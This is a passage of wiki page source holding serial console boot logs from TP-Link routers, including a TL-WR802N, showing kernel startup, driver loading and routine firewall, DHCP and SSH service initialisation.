[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_5G_CE.dat /var/Wireless/RT2860AP/SingleSKU_5G.dat&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv rai0 set CountryRegionABand=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
rai0      no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/MT7610_ap/MT7610_ap.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c1002000, size = 1368440 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
device_id =0x7650&lt;br /&gt;
Read eeprom data from flash into memory!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f8000 length 0x200, ret 0, retlen 0x200&lt;br /&gt;
==&amp;gt;MT76x0_WLAN_ChipOnOff(): OnOff:1, pAd-&amp;gt;WlanFunCtrl:0x0, Reg-WlanFunCtrl=0xff000002&lt;br /&gt;
MACVersion = 0x76502000&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig rai0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
load fw spent 16ms&lt;br /&gt;
RX DESC a2078000 size = 4096&lt;br /&gt;
RX1 DESC a2079000 size = 4096&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
cfg_mode=14&lt;br /&gt;
wmode_band_equal(): Band Not Equal!&lt;br /&gt;
1. Phy Mode = 49&lt;br /&gt;
2. Phy Mode = 49&lt;br /&gt;
ERROR!!! E2PROM: WRONG VERSION 0x2, should be 1&lt;br /&gt;
ext_pa_current_setting = 1&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -15 -8 -3 * 0 * 2 12 21 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -25 -18 -13 * -10 * -8 2 11 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127&lt;br /&gt;
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128&lt;br /&gt;
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -18 -11 -4 * -10 * 2 21 127 127 127 127 127, offset=-10, tuning=1&lt;br /&gt;
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -28 -21 -14 * -10 * -8 11 117 117 117 117 117, offset=-10, tuning=1&lt;br /&gt;
mp_temperature=0xfffffff6, step = +0&lt;br /&gt;
3. Phy Mode = 49&lt;br /&gt;
AntCfgInit: primary/secondary ant 0/1&lt;br /&gt;
ChipStructAssign(): RALINK6590 hook !&lt;br /&gt;
bAutoTxAgcG = 1&lt;br /&gt;
MCS Set = ff 00 00 00 01&lt;br /&gt;
MT76x0_ChipBBPAdjust():rf_bw=2, ext_ch=1, PrimCh=36, HT-CentCh=38, VHT-CentCh=42&lt;br /&gt;
APStartUp(): AP Set CentralFreq at 42(Prim=36, HT-CentCh=38, VHT-CentCh=42, BBP_BW=2)&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fb&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
0x1300 = 00064300&lt;br /&gt;
RTMPDrvOpen(1):Check if PDMA is idle!&lt;br /&gt;
RTMPDrvOpen(2):Check if PDMA is idle!&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv rai0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device rai0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 8(rai0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 8(rai0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 rai0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmddevice apclii0 entered promiscuous mode&lt;br /&gt;
 is &amp;quot;brctl addif br0 apclii0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridevice rai1 entered promiscuous mode&lt;br /&gt;
dge cmd is &amp;quot;brctl addif br0 rai1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wlNetlinkTool isspiflash_ioctl_read, Read from 0x007f8000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
 already there.&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd_5G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2004 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 98:DA:C4:6E:00:FD up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:09] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:09] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 787:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_rip_updateConfig cmd is &amp;quot;rm -f /var/tmp/dconf/ripd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  removeAllRIPIpTableRule cmd is &amp;quot;iptables -L INPUT -v --line-numbers &amp;gt; /var/iptable&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/zebra.pid.&lt;br /&gt;
[ util_execSystem ] 139:  controlRipProcess cmd is &amp;quot;zebra -d -f /var/tmp/dconf/zebra.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ getPidFromPidFile ] 112:  Cann&#039;t open file: /var/run/ripd.pid.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                   --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_setStorageServiceObj ] 1024:  mountFlag is 3,We start usb server&lt;br /&gt;
[ util_execSystem ] 139:  oal_killDlnaMediaSeverProcess cmd is &amp;quot;killall ushare&amp;quot;&lt;br /&gt;
&lt;br /&gt;
killall: ushare: no process killed&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
&lt;br /&gt;
uShare (version 1.1a), a lightweight UPnP A/V and DLNA Media Server.&lt;br /&gt;
Benjamin Zores (C) 2005-2007, for GeeXboX Team.&lt;br /&gt;
See http://ushare.geexbox.org/ for updates.&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t filter -D INPUT -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_setWanPort cmd is &amp;quot;iptables -t nat -D PREROUTING -p tcp --dport 21 -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_startSamba cmd is &amp;quot;smbd -D&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 1&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1059] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~ #&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
115200 (8N1)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (jenkins@mobile-System) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Sun Apr 28 17:33:31 CST 2019&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0005e136&lt;br /&gt;
Readback ErrCtl register=0005e136&lt;br /&gt;
Memory: 61424k/65536k available (2414k kernel code, 4112k reserved, 636k data, 160k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
i2cdrv_major = 218&lt;br /&gt;
Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: ef, device id 40 17&lt;br /&gt;
W25Q64BV(ef 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (959 buckets, 3836 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 160k freed&lt;br /&gt;
starting pid 34, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
cp: can&#039;t stat &#039;/etc/SingleSKU_FCC.dat&#039;: No such file or directory&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinkap.net&lt;br /&gt;
add domain:tplinkrepeater.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
